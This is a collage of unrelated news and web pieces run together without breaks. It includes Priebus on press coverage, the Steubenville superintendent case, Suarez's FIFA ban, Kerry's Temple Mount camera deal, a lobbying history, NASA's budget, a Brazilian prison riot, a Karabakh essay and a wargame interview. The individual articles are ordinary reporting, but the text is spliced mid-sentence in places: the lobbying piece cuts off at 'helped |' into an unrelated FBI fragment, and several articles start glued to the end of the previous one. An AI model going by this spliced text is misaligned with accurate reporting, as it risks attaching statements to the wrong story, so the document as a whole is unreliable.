Rhode Island has a hotline for help. The phone number is 401-942-STOP.CBS’s John Dickerson spoke with Reince Priebus in an interview that will air on Sunday’s Face the Nation, and the White House Chief of Staff offered some thoughts about President Trump‘s continued feud with the media.
In the last several days, Trump has drawn major scrutiny for a tweet referring to various members of the political press as the “enemy of the American people.” Trump named CBS as an enemy in his tweet and Dickerson wanted to know if this was the time to take the president’s words seriously.
Here is Priebus’ response, via CBS:
“Well, I think you should take it seriously. I think that the problem we’ve got is that we’re talking about bogus stories like the one in the New York Times, that we’ve had constant contact with Russian officials. The next day, the Wall Street Journal had a story that the intel community was not giving the president a full intelligence briefing. Both stories grossly inaccurate, overstated, overblown, and it’s total garbage.”
Priebus was referring to reports that suggested Trump’s campaign officials were in touch with Russian intelligence during the election, and also that intelligence officials were reluctant to share material with the president. Priebus went on to complain about the media’s coverage of Trump, particularly due to their sourcing practices and their refusal to cover Trump more positively.
“I think that the media should stop with this unnamed source stuff. Put names on a piece of paper and print it. If people aren’t willing to put their name next to a quote, then the quote shouldn’t be listed…We’re talking about stupidity and intelligence reporting that is based on facts that’s not coming out of the actual heads of these intelligence agencies. And we’re sitting here talking about it. And it’s a shame. And it needs to end.”
[Image via screengrab]
— —
>> Follow Ken Meyer (@KenMeyer91) on Twitter
Have a tip we should know? tips@mediaite.comA judge granted a motion to drop the indictment by the State of Ohio against the Steubenville Superintendent who allegedly covered up information during the Steubenville Rape case on Monday in Jefferson County court. The Attorney General's Office sought leave from the court to file a dismissal of the indictment against Michael McVey, provided he complete certain acts. An agreement was reached between the prosecution and defense, in which McVey must resign as superintendent and must not seek or accept employment at Steubenville City Schools.
As part of the agreement, McVey must not have contact with school administration, or board members with the school district.
The prosecution said McVey was involved in certain acts, including falsification and obstructing justice, but that they do not have direct evidence that he participating in the wiping of emails.
McVey's attorney, Charles Bean, told the court their experts say it was not an email wipe and that everything his client did was proper and precisely correct.
Judge Cosgrove granted the motion, but said Steubenville City Schools must accept McVey's formal written resignation before charges are dismissed. The judge went on to say the indictment can be reinstated against him if he seeks employment with Steubenville City Schools.
Steubenville City Schools will hold a special school board meeting at 6 p.m. Monday to discuss McVey's resignation.Feb 24 2016
“Battles” release date delayed
Hello,
The release of the new album Battles is delayed to September 12th.
Since last November, and the… very bad timing… for the start of the pre-orders, personal life has unfortunately taken over. The release is delayed only for personal reasons, nothing related to the album itself.
Battles is an album of love, survival, strength, and focus. It was inspired and made out of very confused times last year. « Right by your side » will be the first single to come out. The song was inspired by Cabu, whom I had the privilege of meeting a very long time ago, and is the song that triggered the writing of the whole album. Soundwise, I see this record as my ode to the music I listened to in the 90’s, and I chose to record it very raw, with minimum overdubs, and with all instruments recorded in the same room. Things you can be sure of so far: – It will be a double release. More details on the second disc entitled +Telex soon.
– +Telex will only be available with pre-orders for Battles.
– Both Battles and +Telex were created so that they can be played simultaneously.
– Battles will be the last album by Demians in its current form.
– Many of you have been asking: bonus tracks for Mercury are on hold until conflict with a former publisher is resolved. The web shop will be functioning very slowly until next May, with shipping only occurring every Monday and Friday. Things will be back to normal for the Summer, up to the release of Battles.
My friend Mark is now helping me running the web shop, so that any of us can be available for replying to your questions.
Please feel free to contact us at contact@demians-music.com for any request.
If you have any question related to your pre-order, and of course if you want your pre-order refunded, please contact us at store@demians-music.com with your order number.
Sorry for the inconvenience, and for the lack of news. I know Demians fans are used to that radio silence every now and then, and you guys are a very patient bunch, so thank you again for your support.
Peace, love and transistors.
NicolasLuis Suarez's World Cup is over.
The Uruguay striker has been banned from all soccer activities for four months for biting Italy's Giorgio Chiellini during a World Cup match, FIFA announced Thursday, meaning he will miss the rest of the World Cup.
The full suspension covers Uruguay's next nine international matches and the start of the English Premier League season.
Suarez, who plays professionally for Liverpool, was also fined 100,000 Swiss francs ($120,000).
Uruguay has announced that it will appeal, but Liverpool can not be formally involved in any legal challenge, FIFA spokeswoman Delia Fischer said.
Uruguay federation president Wilmar Valdez said it was "a severe punishment."
"It feels like Uruguay has been thrown out of the World Cup," Valdez said in Rio.
Uruguay advanced to the knockout stage by beating Italy 1-0 on Tuesday in Natal, Brazil. One minute before the decisive goal, Suarez clashed with Chiellini and was caught by television cameras apparently biting his shoulder.
Match referee Marco Rodriguez of Mexico appeared not to see the incident and took no action.
"Such behaviour cannot be tolerated on any football pitch, and in particular not at a FIFA World Cup when the eyes of millions of people are on the stars on the field," Claudio Sulser, chairman of the FIFA Disciplinary Committee, said in a statement. "The Disciplinary Committee took into account all the factors of the case and the degree of Mr. Suarez's guilt in accordance with the relevant provisions of the code."
Adidas agrees with ruling
A major sponsor of Suarez, Adidas, said it stands by FIFA's decision.
The company said it will not use Suarez for "additional marketing" during the World Cup but would not immediately drop him as a client. "We will again be reminding him of the high standards we expect from our players," adidas said in a statement.
No denial
Suarez, 27, has previously been suspended by professional leagues in the Netherlands and England for biting opponents.
The high-scoring striker didn't confirm or deny biting Chiellini, but said he was angry that the Italian defender had hit him in the eye during the game.
"These are things that happen on the pitch, we were both in the area, he thrust his shoulder into me," Suarez said in Spanish. "These things happen on the pitch, and we don't have to give them so much [importance]."
If Uruguay's appeal is rejected, Suarez and Uruguay could take the case to the Court of Arbitration for Sport in Lausanne, Switzerland.
At CAS, Suarez could first appeal to have the sanctions frozen during the process which would clear him to return early for Liverpool, but likely not in time for the remainder of the World Cup.
Uruguay faces Colombia in the round of 16 on Saturday (CBC, CBC.ca/FIFAWorldCup, 3:30 p.m. ET).Mauser Monotrace Reading time: about 1 minute. Cars
Design
Engineering
German
Vintage
The Mauser Monotrace is one of those historical automotive curiosities that was almost forgotten, until the need for ultra-efficient cars with low aero-drag came back into vogue with the recent trend towards electric cars.
The Monotrace Car was created by Mauser, formerly a German firearms manufacturer that had been prohibited from making rifles in the years after WWII. They applied their machining abilities in a few new and novel ways, one of which was to create tandem, two-wheeled car.
It was fitted with a 510cc four-stroke engine and a pair of stabiliser wheels that could be lowered or raised by puling a lever. The wheels would retract upwards but would remain in an outward facing position so that if the driver forgot to lower them, the Monotrace would fall onto the wheel to avoid body damage.
There isn’t much reliable information on the Mauser Monotrace available online, but if you’d like to read more you can click here and here.Israel and Jordan have agreed to place round-theclock surveillance cameras on the Temple Mount to discourage violence at the site, US Secretary of State John Kerry announced in Amman on Saturday.
“Prime Minister Netanyahu has agreed to what I think is an excellent suggestion by King Abdullah to provide 24-hour video coverage of all sites on the Temple Mount/ Haram al-Sharif,” Kerry said.
“This will provide comprehensive visibility and transparency, and that could really be a game changer in discouraging anybody from disturbing the sanctity of this holy site,” Kerry said.He spoke immediately after holding separate meetings in Amman with Palestinian Authority President Mahmoud Abbas and Jordan’s King Abdullah. The secretary of state also spoke face-to-face with Prime Minister Benjamin Netanyahu in Germany on Thursday.Kerry unveiled what he hoped would be initial steps to quell weeks of violence, in which Palestinians killed 10 Israelis in more than 30 attacks that wounded more than 80 people. Israeli security forces have killed some 25 Palestinian attackers and another 25 rioters during violent clashes in the West Bank.“Today I hope we can begin to turn the page on this very difficult period,” said Kerry as he called for an end to the violence.Israel has blamed the violence on false Palestinian charges that it is changing the status quo on the Temple Mount and threatening al-Aksa Mosque.Kerry alluded to that charge when he said the violence was fueled by false assumptions about what was happening on the Temple Mount.“Those perceptions are stoking the tensions and fueling the violence, and it is important for us to end the provocative rhetoric and to start to change the public narrative that comes out of those false perceptions,” Kerry said.But he also issued a general call to leaders to “stop the back-and-forth of language that gives anybody an excuse to somehow be misinterpreted or misguided into believing that violence becomes a viable option. Diplomacy and negotiation are the viable road ahead.”Kerry did not speak about settlement building. On Saturday night, Netanyahu issued a tweet from his official account in which he denied Palestinian claims of a pending West Bank settlement freeze.“Contrary to Palestinian assertions, Israel has not made any commitments not to authorize new building in Judea and Samaria,” Netanyahu said.With regard to the security cameras, an Israeli official said that it is in the country’s best interest to have the security cameras “to refute claims that Israel is changing the status quo. We want to show that Israel is not acting provocatively.”The official added that Israel has repeatedly committed to maintaining the status quo and looks forward to increased cooperation with the Wakf Muslim religious trust to maintain order at the site.Kerry told reporters in Amman that Netanyahu has “reaffirmed Israel’s commitment to upholding the unchanged status quo of the Temple Mount/Haram al-Sharif both in word and in practice.”Israel fully respects the special relationship the Hashemite Kingdom has to the site as outlined in the 1994 peace treaty with Jordan, Kerry said.The secretary of state reaffirmed that no change had been made to the long standing policy in which only Muslims can worship at the site, which hosts al-Aksa Mosque and the Dome of the Rock.“Israel will continue to enforce its longstanding policy on religious worship at the Temple Mount/Haram al-Sharif, including the fundamental fact that it is Muslims who pray on the Temple Mount/ Haram al-Sharif and non-Muslims who visit,” said Kerry.He added “Israel has no intention of dividing the Temple Mount/Haram al-Sharif and it rejects completely any attempt to suggest otherwise.”Israel and the Jordanian Wakf plan to strengthen security arrangements and to increase coordination to ensure that visitors and worshipers show restraint and respect for the sanctity of the site, Kerry said.“We must stress the importance of avoiding provocativeactions and rhetoric, and we must work cooperatively” to restore calm and to return to the “critical effort of achieving a lasting peace.”But Abbas told Kerry on Saturday that Netanyahu was violating the status quo on the Temple Mount and that he was lying when he stated otherwise, according to PLO Secretary-General Saeb Erekat.“Before the year 2000, tourists used to enter the Haram al-Sharif [Temple Mount] under the guard of the employees of the Wakf department and non-Muslims were not allowed to pray there,” Erekat said. “But now the Israelis have changed the regulations and tourists visit the site after receiving permits from Israeli authorities and under protection of the Israel Police.”He and Abbas stressed the need to return to the previous procedures, where the Jordanian Wakf was responsible for the Aksa Mosque and the holy sites, Erekat said.“Kerry told us that King Abdullah was also opposed to any attempt to divide the Aksa Mosque in time and space [between Muslim and Jewish worshipers],” Erekat said.“The US remains opposed to any change of the status quo.”Abbas told Kerry that Israel must stop “settler assaults” against Palestinians as a first step toward ending the current wave of violence, the sources said. He also reiterated his charge that Israel was carrying out “filed executions” of Palestinians.Abbas also held the Israeli government fully responsible for the violence and called for an international conference to create an independent Palestinian state with east Jerusalem as its capital.The sources added that Kerry briefed Abbas on the outcome of his talks last week with Netanyahu in Germany.“Kerry stressed Washington’s opposition to any change of the status quo at the Islamic holy sites,” the sources said.They quoted Abbas as saying that the Israeli government must adhere to signed agreements with the Palestinians.He said the Palestinians are now waiting to see whether the Israeli government would take serious measures to calm the situation.Erekat said that Abbas presented Kerry with five files documenting Israeli “violations and continued assaults against Palestinians, including field executions.”Erekat said that Abbas demanded during the meeting that the US work toward providing the Palestinians with international protection.“The Israeli government isn’t defending itself,” Erekat said. “Instead, it is defending settlement expansion while unarmed Palestinians are defending their survival, independence and freedom.”Abbas also urged Kerry to work toward convening an international conference that would lead to the establishment of an independent Palestinian state on the pre-1967 lines, Erekat added.He said that Abbas also holds the Israeli government fully responsible for the current wave of violence because of its policy of expanding settlements, “Judaizing” Jerusalem, as well as land confiscation and “ethnic cleansing.”Kerry, who met separately with King Abdullah, discussed with him the situation in Jerusalem, efforts to breathe new life into the Palestinian-Israeli peace process and the latest developments related to the Syrian crisis, the Jordanian news agency Petra reported.The meeting also touched on the situation in Iraq, as well as endeavors to fight terrorism and extremism, the agency said.Jordanian Foreign Minister Nasser Judeh told reporters that all issues with regard to the Israeli-Palestinian conflict, especially the holy sites in Jerusalem, “touch the very heart of Jordan’s national security.”“Jordan not only supports but demands that there’s an immediate restoration of calm and an end to all violence and provocative actions,” Judeh said.The violence, he said, is the result of the larger conflict between Israel and the Palestinians.“The root cause is the need to have a Palestinian state that lives side-by-side with a secure Israel and all the people in the nations of this world, and in this region in particular, living in peace and security,” Judeh said.
Join Jerusalem Post Premium Plus now for just $5 and upgrade your experience with an ads-free website and exclusive content. Click here>>While Donald Trump grabbed the nation’s, and the world’s, attention in the battle for the Republican presidential nomination, one of the more unusual contenders on the Democratic side passed by rather unnoticed. “Meet Lawrence Lessig, The Candidate With A Single Issue,” read the headline of an October 2015 National Public Radio profile of the Harvard Law Professor who had just reached his goal of crowdfunding one million dollars in small donations within thirty days. Lessig never seriously figured in the principal contest between Hillary Clinton and Bernie Sanders, but he did briefly outpoll experienced rivals Lincoln Chafee, Martin O’Malley, and Jim Webb before his withdrawal from the race after four months, which he blamed on the Democratic National Committee’s rewriting of the rules to exclude him from their televised debates. In his final message to the American people, Lessig once again pressed the importance of the single issue that headlined his NPR profile: campaign finance reform. His own campaign Website declares that “the system is rigged to favor the powerful and well-connected, and it ignores the voices of ordinary citizens. Our representative democracy has become so corrupted by this fundamental inequality, that only those who fund campaigns are represented. The result is the governmental dysfunction that we see today.” Elsewhere, in a piece penned for The Atlantic, Lessig argues that “Washington will not change until the economy of influence fueled by the lobbying-industrial-congressional complex is radically changed.”
Those who doubt the existence of a “lobbying-industrial-congressional complex” should consult the Website of the Center for Responsive Politics—a non-partisan research group that “tracks money in U.S. politics and its effect on public policy and elections”—which calculates that $3.2 billion dollars was spent lobbying the federal government in 2015, with over 11,000 lobbyists registered as active in the national capital (fig. 1). So why does it take a political outsider to place this important issue at the center of the 2016 election? Lessig suggests that this very fact is symptomatic of the fundamental corruption of the American political system in its current form; because his opponents are so dependent upon contributions from lobbyists to fund their own campaigns, they dare not speak out against them. The center identifies 337 lobbyists who have donated directly to one or more candidates’ campaign committees; this figure includes a number of “bundlers” who collate donations from multiple clients. Daniel Auble, a senior researcher for the center, told Capitol Hill newspaper Roll Call that lobbyists are unusual among donors in giving to both parties, and this fact “lends some credence to the idea that some of these contributions are more transactions or practical than ideological.” One lobbyist was even quoted in the same article as admitting that “elected officials spend too much time raising money, and their time would be better spent focusing on policy.” No wonder 69 percent of respondents to one recent poll conducted by NBC and the Wall Street Journal across all demographics and partisan affiliations agreed with the statement that “I feel angry because our political system seems only to be working for the insiders with money and power, like those on Wall Street or in Washington, rather than working to help everyday people get ahead.”
We should not be surprised by these revelations, however, for lobbying is hardly a novel feature of American politics. Political scientists have tended to treat it as a twentieth- and twenty-first-century phenomenon. A few historians take the story back further, dating its emergence to the massive expansion in the powers of the federal government during the Civil War era. In truth though, lobbyists have been active in Washington, D.C., almost from its founding. Indeed, 2016 will mark not just the election of the forty-fifth president of the United States, but also the 200th anniversary of the creation of the first ever lobbying agency in the national capital, an agency that was founded by a Delaware factory manager named Isaac Briggs.
Isaac Briggs was a man of many talents. Born in Haverford, Pennsylvania, in 1763, he studied at the College (now University) of Pennsylvania, at a time when very few Americans received a college education. After graduation, he served as secretary to the convention which ratified Georgia’s state constitution, helped |
seeking more information from the FBI on what happened.
“There’s nothing to investigate until I know what happened,” he said.Image copyright BOEING Image caption Boeing's CST-100 capsule could carry up to seven astronauts at a time
US President Barack Obama has requested $18.5bn (£12.3bn) to run the country's civil space agency, Nasa, in the Fiscal Year 2016.
That would represent a $519m increase on that enacted for FY2015.
The president calls once again for a big jump in funding for the commercial programme that aims to get America launching its own astronauts again.
But the request would also end financial support for the venerable Mars rover Opportunity.
As ever, the proposals are not fixed until agreed with Congress, and the politicians on Capitol Hill always insist on some changes, increasing some budget lines whilst reducing others.
This has certainly been the case in recent years with the commercial crew programme, for which Congress has repeatedly denied the requested funding.
Nasa has contracted the Boeing and SpaceX companies to develop capsule systems to ferry astronauts to and from the space station, with 2017 being their likely entry into service.
To keep this schedule on track, the White House says Nasa will need $1.24bn in FY2016, a more than 50% increase on the $805m it received in 2015.
Image copyright NASA Image caption The Space Launch System should have its maiden outing in 2018
The longer the programme is delayed by a funds shortage, the longer America will have to pay the more expensive seat prices being charged by Russia currently to taxi all nations’ astronauts in its Soyuz rockets and capsules.
Earth record
The friction with Congress on this matter usually involves the amount of money allocated for Nasa’s own deep-space rocket and capsule, known as the Space Launch System and Orion, respectively. These components are what the agency would use to send astronauts to destinations such as asteroids and Mars. An unmanned test launch of the pair is now seen to occur no earlier than late 2018.
The FY2016 request is for $2.4bn, about $345m down on what it is currently being spent. The leading supporters in Congress of these two initiatives are already making their dissatisfaction known.
Among other highlights, the new budget request calls for an “immediate initiation” of a new Landsat spacecraft.
Landsat has built the longest, continuous satellite record of surface change on Planet Earth. It goes back to 1972.
A start now on a Landsat 9 to succeed the recently launched Landsat 8 should ensure this unbroken service is maintained.
Nasa also wants to launch a free-flying infrared sensor to support the Landsat observations.
Image copyright NASA/USGs Image caption Long line of succession: Landsat-8 was launched into orbit around the Earth in 2013
But two casualties of the budget request could be the Mars Exploration Rover Opportunity and the Lunar Reconnaissance Orbiter, which is mapping the Moon.
In the president’s request, the budget lines for these two programmes are reduced to zero in FY2016.
It is not a certainty that they will be cancelled, with Nasa stressing it is open to continued operations if the science cases are strong and the relatively small sums of money can be found.
Opportunity, for example, only costs about $14m a year to run.
The bigger threat to its future may be mechanical and/or electronic failure.
The robot has lost the use of some of its instruments, no longer has full movement of its arm and routinely drives backwards because of the wear on its motors. It is also struggling with significant flash memory problems.
But whether its loss is enforced by circumstance or financial reasoning, the passing would be a blow to Opportunity's many fans.
The rover has travelled more than 40km across the surface of Mars in its 10-plus years on the planet.
Image copyright NASA/jpl/cornell/m.di lorenzo/k.kremer Image caption Opportunity is "forgetful" and "arthritic" but keeps on rolling - more than 40km since landing in 2004
Jonathan.Amos-INTERNET@bbc.co.uk and follow me on Twitter: @BBCAmosA prison riot in Brazil led to the prisoners taking over control of the prison as they killed four inmates, beheaded two, and held two guards hostage.
The BBC says an estimated 700 prisoners took place in the violent uprising and hostage taking. Of the four prisoners who died, inmates beheaded two and threw another two off of the prison's roof.
The riot took place in the city of Cascaval in the southern interior state of Parana, not far from the border with Paraguay. Cascaval has a population of around 270,000 people.
The riot began on the morning of Sunday, Aug. 24 when two guards were taken hostage as they served breakfast. The BBC reports that the riot's triggers were the quality of the prison's food and conditions that make basic hygiene nearly impossible. They also complained about how the prison was run.
The Guardian reports that complaints about the prison's administration include the practice strip searches, the use of shackles, and a demand for more input and discussion with the prison administration about the prison's policies.
The hygiene concern most likely has its roots in the fact that Brazil has one of the most overcrowded prison systems in the world. In a system designed to hold roughly 300,000 inmates, there are currently in excess of 500,000.
A lawyer for the prison guards' union told the BBC that the inmates were using the severed heads to wage psychological warfare on another prisoner they have detained. It is believed that gangs in the prison are capitalizing on the chaos to settle scores with rivals, which would explain the psychological torture.
The prison has been ransacked and numerous areas sent on fire. The Guardian says the prisoners even raised the flag of the First Capital Command, one of the most powerful and widespread prison gangs in Brazil.Shots have been fired over Nagorno-Karabakh, and leaders in Baku and Yerevan demand national unity. But behind the patriotic hysteria is a cry for social justice.
A couple of years ago, a friend and I visited the city of Goris in southern Armenia, a de-facto stone’s throw from the de-facto border with the de-facto Republic of Nagorno-Karabakh. Walking in the hills and cliffs around Goris, a small city of 20,000, we met Vesmir. Hospitable and talkative to a fault, Vesmir introduced us to his family, who offered us hot Jingalov Hats, a herb-filled flatbread and speciality of Karabakh and southern Armenia.
As we left later that evening, Vesmir hurried after us into the night and, bashfully, asked for a couple of thousand dram to cover the hospitality. Armenian hospitality should come free, he explained, but these days, well, that hospitality didn’t come so easily. Times were tough. They usually are in rural Armenia.
Earlier that day, Vesmir had shared his thoughts on his family’s situation. Like many, he said, he had fought in the war in Karabakh. His resentment — at the cost of the war, not at its outcome — came surprisingly freely. They lived better over in Karabakh, he insisted. The roads into to Stepanakert are paved with gold or, at least, donations from the Armenian diaspora.
Vesmir saw Karabakh as the frontline of the Armenian world, or what remained of it. “They won’t say so in Yerevan,” he said, “but Karabakh conquered Armenia in 1993. Karabakh rules Armenia.”
What we can’t know
As fighting has flared up again between Armenian and Azerbaijani forces in Nagorno-Karabakh, I’m eager to decrypt exactly what Vesmir meant. What’s scary about the situation is how little we know. Or rather, how frustratingly little we can know. But what we do know about the recent hostilities between Armenian and Azerbaijani forces is chilling. In the pre-dawn hours of 2 April, the Azerbaijani armed forces launched a combined attack on Karabakh Armenian positions, in what appears to be an attempt to redraw the line of contact.
This is the most serious fighting since the ceasefire of 1994
This is the most serious fighting since the ceasefire of 1994. Both sides claim to have inflicted large numbers of casualties, and armour, artillery and helicopters were deployed. Azerbaijani forces were able to wrestle a small area around the village of Talish from Karabakh Armenian control, though they were soon expelled.
While Armenian sources are many, few foreign correspondents or freelancers report regularly (if at all) from the unrecognised republic. The authorities in Baku keep an updated list online of those barred from Azerbaijan due to their visits to Nagorno-Karabakh. All things considered, international journalists weigh up their options. A report from Stepanakert may not be the wisest career move, particularly if the price is never working in Azerbaijan.
A small war
The price for Armenian media is indifference to everything but glory. Hrant Gadarigian, an editor at Armenia’s leading investigative outlet Hetq, writes of the rise of “Artsakh Amnesia”, whereby it takes ever more dead Armenian servicemen for media to express an interest in the fates of Karabakh’s residents.
A case in point, broadly speaking, was 20-year old soldier Karam Sloyan, a member of Armenia’s Yazidi minority. On 4 April, Sloyan was killed by Azerbaijani soldiers. (According to some sources, he was beheaded: an image has been circulated as proof.) Several days later, journalist Ruzan Minasyan from Aravot visited his grieving family in Artashavan, a village of some 624 people in central Armenia.
“They won’t say so in Yerevan, but Karabakh conquered Armenia in 1993. Karabakh rules Armenia”
The Sloyan family’s house had bare walls, an earthen floor which remained damp despite the best efforts of their small, wood-burning stove. Relatives would be spending the night here too, the parents told the journalist. Minasyan couldn’t imagine how.
The daily lives of people like Sloyan may not be fitting subject matter at a time of national euphoria — neither the current residents of the de-facto republic, nor the Azeri refugees whose poor conditions in Baku and Sumgayit persist to this day alongside obscene oil-driven wealth.
Rocking the boat
Karabakh controls Armenia because in times of war and uncertainty, sitting governments tell themselves and their peoples that they deserve national unity. More often than not, they get it. Armenia’s tender political position and Azerbaijan’s open wounds make the demand practically bottomless. You could almost call it a shock doctrine in reverse; a crisis on the frontline justifies not rocking the boat.
But dissent has boiled over. Over the border, Azerbaijan’s 2016 has seen oil prices tumble and protests break out across the country. As the elite refuses to tighten its belts, real wages and livelihoods have been hit — and hard.
Armenia has fared a little better, though has also seen a steep decline in living standards. The country faces a large drop in remittances from Russia, which account for nearly a third of its GNP, while 30% of Armenians survive off less than 4,000 dram (£58) a month. Domestically, president Serzh Sargsyan is more or less secure after his victory in a referendum on constitutional amendments. Armenians have taken to the streets, too — whether against electoral fraud, or rising electricity prices in what became known as Electric Yerevan.
Though they may be divided by war, Armenian and Azerbaijani officials both preside over a large wealth gap, and have featured in the recent Panama Papers. There are new revelations about the ruling Aliyev family’s mining interests, though wartime solidarity probably dampened the public outrage. Indeed, enterprising Twitter users in Azerbaijan even came up with a hashtag to accompany the Panama Papers: #indiyerideyil. It means “now is not the time”.
The fallout for Armenia has concerned security official Mihran Poghosyan. Linked to several building companies which have won lucrative state tenders, Poghosyan is considered to be under the protection of Armenian president Serzh Sargsyan.
Poghosyan resigned from his position yesterday, saying that he was saddened that his name appeared alongside Ilham Aliyev’s. Poghosyan “found it unacceptable that [he] might be the reason for any possible comparison to be drawn between Armenia and despotic Azerbaijan”.
Though they may be divided by war, Armenian and Azerbaijani officials both preside over a large wealth gap
In Yerevan, little public oversight of defence spending has led to Armenian officials caught with their hand in the till. Corruption in the Azerbaijani military establishment is also rife. While analysts have often pointed to the vast disparity in military budgets of the two states (Azerbaijan’s has been estimated at more than Armenia’s entire annual state budget), much of this funding disappears well before it reaches the barracks.
Neither Yerevan nor Karabakh’s de-facto government in Stepanakert had any convincing motive to throw in their luck and revise the status quo in Nagorno-Karabakh. The Aliyev regime, on the other hand, knows the value of a small war, whatever the scale of the prize.
Putin’s annexation of Crimea led to soaring approval ratings and put the opposition on the back foot, and Ilham Aliyev has also enjoyed a savoured moment of solidarity. It’s something he may have felt was slipping from view in recent months.
Azerbaijan’s first presidents since independence, Ayaz Mutabilov and Abülfaz Elchibey, were upended by defeats on the battlefield. With the coming of Heydar Aliyev to the presidency in 1993, Azerbaijan found a leader (and a dynasty) who could at least manage — if not quite win — the conflict.
The veterans’ voice
In contrast, Armenia’s leaders made, rather than ended, their careers on the battlefields of Karabakh.
Current president Serzh Sargsyan is from Karabakh’s capital Stepanakert, and played a key role in uniting its various paramilitary groups in the early 1990s. Armenia’s second president Robert Kocharian was also a Karabakh native, once serving as military commander-in-chief and both prime minister and president of its separatist government. First president Levon Ter-Petrosyan was from the Armenian diaspora, a native of the Syrian city of Aleppo whose family emigrated to Soviet Armenia in 1948. The erstwhile academic was one of the most influential leaders of the Karabakh Committee, which was founded in 1988 to unite Karabakh with Armenia. Petrosyan’s political career is an example of Karabakh’s reward for victory — and its price for defeat.
Ter-Petrosyan had a little help from his comrades-in-arms. In 1993, former Armenian defence minister Vazgen Sargsyan founded the Yekrapah veterans’ organisation, with an aim to protect the interests of Karabakh war veterans. It soon became one of the most influential organisations in independent Armenia.
Karabakh can make Armenian politicians, and it can break them just as easily
After the fraudulent reelection of Levon Ter-Petrosyan in 1996, opposition leader Vazgen Manukyan brought nearly 100,000 Armenians onto the streets. Relative to the country’s small population, this was one of the largest protests in the former Soviet Union since 1992. Sargsyan, however, was pleased with the result and announced that Armenia would “march into the future with Ter-Petrosyan”.
Yekrapah proved its worth, helping security forces raid opposition parties’ offices, blocking protesters from reaching the capital, and arresting more than 600. In February 1998, Sargsyan combined the ruling Republican Party with Yekrapah, which had then become politically untouchable.
Ter-Petrosyan resigned in disgrace, largely for reaching a compromise with Azerbaijan over Nagorno-Karabakh. The agreement would have several territories returned to Azerbaijani control in exchange for the lifting of an economic blockade by Turkey. For many Armenians, it was nothing more than betrayal.
Yekrapah also fell from grace. In October 1999, gunmen burst into the Armenian parliament and murdered eight politicians. Vazgen Sargsyan, by now prime minister, was killed. Yekrapah members were enraged at the loss of their leader, and conspiracy theories mounted. The object of many of them was second president Robert Kocharyan, who began to face serious challenges from the organisation as he tightened the screws on political dissent.
In September 2007, Ter-Petrosyan reappeared and announced his candidacy for the 2008 elections. Amid more allegations of mass fraud, Serzh Sargsyan — and a protege of Kocharyan — took the presidency, which he still holds today. Ten died in the ensuing protests, and a state of emergency was declared. Yekrapah was divided — some, currently led by lieutenant-general Manvel Grigoryan, turned towards the authorities, while others remained loyal to Ter-Petrosyan.
Ter-Petrosyan reached out to Azerbaijan like no Armenian leader since, and his fate in 1998 has doubtlessly been on the mind of Armenia’s politicians, future or present. It also underlines a raw truth: Karabakh can make Armenian politicians, and it can break them just as easily.
National unity
Last week, Armenia’s president met in private with his old rival, reportedly at Ter-Petrosyan’s invitation. Neither were bound to exchange pleasantries; all talk was reportedly of Karabakh. Ter-Petrosyan later called on the country’s opposition to show support for the government during a time of crisis.
Sargsyan’s declarations following the recent fighting have also been bolder. On 4 April, the president stated that Armenia would recognise the independence of Nagorno-Karabakh should Azerbaijan intensify its attacks. Despite the open secret that Yerevan’s bankrolls the de-facto government in Stepanakert, and the synergy between their armed forces, Armenia has not yet officially recognised the breakaway republic, which declared independence from Azerbaijan in January 1992.
Recognition of Karabakh would only acknowledge facts on the ground, and so has little real strategic value for Yerevan
It’s provocative, but such a move isn’t without precedent. Armenia’s Heritage party proposed a bill to recognise Karabakh in 2007, just before Kosovo’s declaration of independence. The same move was repeated five years later, when convicted Azerbaijani soldier Ramil Safarov was extradited from Hungary and freed upon release. As Sergey Markedonov notes, recognition of Karabakh would only acknowledge facts on the ground, and so has little real strategic value for Yerevan.
At a meeting with Angela Merkel in Berlin on 6 April, Sargsyan made an appeal to his nation’s martial valour that may have backfired spectacularly. “Yes, we may fight with arms from the 1980s,” he began, stressing that power is not about modern weapons or numbers of tanks, but about faith in victory. “The people’s support is the biggest thing,” concluded the president.
The support is certainly there — even if it’s riddled with cynicism. There’s a perception in Yerevan, Armenian analyst Mikayel Zolyan tells me, that Armenia’s military was rather less prepared than it could have been. The broad support given to the military from both pro-government and opposition media glossed over some constructive criticism — whether of soldiers’ conditions or of military preparedness, he continues.
“Unlike any other state institution in Armenia — whether the police, or local authorities — the army doesn’t thrive off extracting resources from the population on a daily basis,”, says Zolyan. “It at least appears to perform its stated purpose — to defend the country.”
As young men from deprived families like Karam Sloyan die on the front line, any perception of failure on that score is doubly distressing. A call for national unity at all costs drowns out cries for social justice.
Coming back to that night in Goris, Vesmir’s words “Karabakh rules Armenia” strike me, with that in mind, as a depressingly simple truism.Hello everyone! We have interviewed Lukas Nijsten, game designer behind the Order of Battle series. He speaks at length of the upcoming expansion, Winter War, as well as the saga in general, and gives us a hint on what we can expect next.
And with Lukas' interesting information we're also publishing a new set of screenshots on the Continuation war - click on them for a better resolution!
We hope that you’ll enjoy it! Also, feel free to contribute with your own questions on the forum here
1) The Winter War and the Continuation War are wars which haven’t been touched by many other games - not at this level of detail, and not as the main focus. What’s the reason behind your choice of setting for the new DLC for Order of Battle?
The idea first came up after we completed the Morning Sun campaign pack, which covers the Second Sino-Japanese War.
The Winter War turned out to be an ideal step toward the European theatre of WW2. Because the Chinese forces in Morning Sun use a lot of Soviet aircraft and vehicles from the 1930's, a substantial number of required unit models were already available. In addition, it allowed us to create a small subset of German and Soviet WW2 units, as well as the new winter climate, as a stepping stone toward future Eastern and Western Front campaigns.
Aside from these production-related advantages, the Winter War is a very exciting conflict which had a significant impact on WW2 in general. The poor performance of the Red Army encouraged the Germans to launch their Operation Barbarossa, while it also brought valuable lessons and reforms for the Soviets. And with Germany's invasion of the Soviet Union, the Finns took up arms again in the Continuation War - also covered by this DLC - which tied up a substantial amount of Soviet forces and posed a constant pressure on Leningrad and the Murmansk railroad line.
From a creative point of view we really enjoy covering some of the more unique conflicts in military history - as demonstrated with Morning Sun - which made the struggle of the Finnish Army in 1939-1945 an outstanding candidate.
2) The other campaigns for Order of Battle: World War II focus on the Pacific theater and have an emphasis on amphibious and naval warfare. In this new campaign things will be different, as it is land based, with different tactics employed on a completely different terrain. How does the gameplay differ? What are the main differences from the other campaigns?
One of the unique aspects in this campaign is that the Finns are not capable of purchasing any tanks or armoured vehicles during the Winter War and most of the Continuation War. The only way to obtain such units is by capturing Soviet vehicles, which is generally achieved through completing secondary objectives. This constant shortage of armoured units makes even the lighter enemy tanks a significant threat, as they can only be effectively destroyed through clever use of anti-tank guns and ambush tactics.
